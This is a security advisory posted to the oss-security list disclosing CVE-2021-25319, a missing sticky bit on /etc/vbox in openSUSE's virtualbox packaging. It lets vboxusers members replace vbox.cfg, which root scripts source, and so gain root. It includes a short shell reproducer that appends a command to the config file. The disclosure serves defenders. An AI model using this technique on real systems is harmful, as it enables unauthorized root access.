Date: Mon, 26 Apr 2021 15:41:17 +0200
From: Matthias Gerstner <mgerstner@...e.de>
To: oss-security@...ts.openwall.com
Subject: virtualbox: CVE-2021-25319: missing sticky bit in openSUSE packaging
 for /etc/box allows local root exploit for members of vboxusers group

Hi,

somewhat related to CVE-2021-2264 I noticed an openSUSE specific
security issue in the openSUSE packaging for virtualbox [1]. To enable
the autostart feature in virtualbox as outlined in the upstream manual
[2] our packagers introduced a group 'vboxusers' that is granted write
access to the directory /etc/vbox as the "autostart DB". Contrary to
what the manual says the directory was not packaged with the sticky bit
set, however.

The file /etc/vbox/vbox.cfg is a configuration file for virtualbox. This
file is sourced by other virtualbox bash scripts running as root like
'vboxautostart.sh', 'vboxdrv.sh' and 'vboxweb-service.sh'. Due to the
missing sticky bit any member of the vboxusers group can replace the
/etc/vbox/vbox.cfg file by a manipulated one, allowing for full code
execution in the context of the root user once e.g. the vboxautostart
systemd service runs.

Reproducer:

```
    root# su -g vboxusers nobody
    nobody$ cd /etc/vbox
    nobody$ cp vbox.cfg vbox.cfg.new
    nobody$ rm -f vbox.cfg
    nobody$ mv vbox.cfg.new vbox.cfg
    nobody$ echo "touch /root/evil" >>vbox.cfg

    nobody$ exit
    root# systemctl start vboxautostart.service
    root# ls -lh /root/evil
    -rw-r---r-- 1 root root 0  2. Mär 12:14 /root/evil
```

I have been looking into other distributions like Arch Linux, Fedora and
also some of the RPMs distributed on www.virtualbox.org. They all
package /etc/vbox as root:root mode 755 and are therefore not affected.

Updates for the openSUSE virtualbox packages are underway [3] that will
fix the packaging error and also move the "autostart DB" directory from
/etc/vbox to /etc/vbox/autostart.d to avoid mixing the autostart related
files with the virtualbox system configuration file in the same
directory.

Cheers

Matthias

[1]: https://build.opensuse.org/package/show/Virtualization/virtualbox
[2]: https://www.virtualbox.org/manual/ch09.html#autostart-linux
[3]: https://bugzilla.suse.com/show_bug.cgi?id=1182918

--
Matthias Gerstner <matthias.gerstner@...e.de>
Dipl.-Wirtsch.-Inf. (FH), Security Engineer
https://www.suse.com/security
Phone: +49 911 740 53 290
GPG Key ID: 0x14C405C971923553

SUSE Software Solutions Germany GmbH
HRB 36809, AG Nürnberg
Geschäftsführer: Felix Imendörffer

Download attachment "signature.asc**" of type "**application/pgp-signature**" (834 bytes)**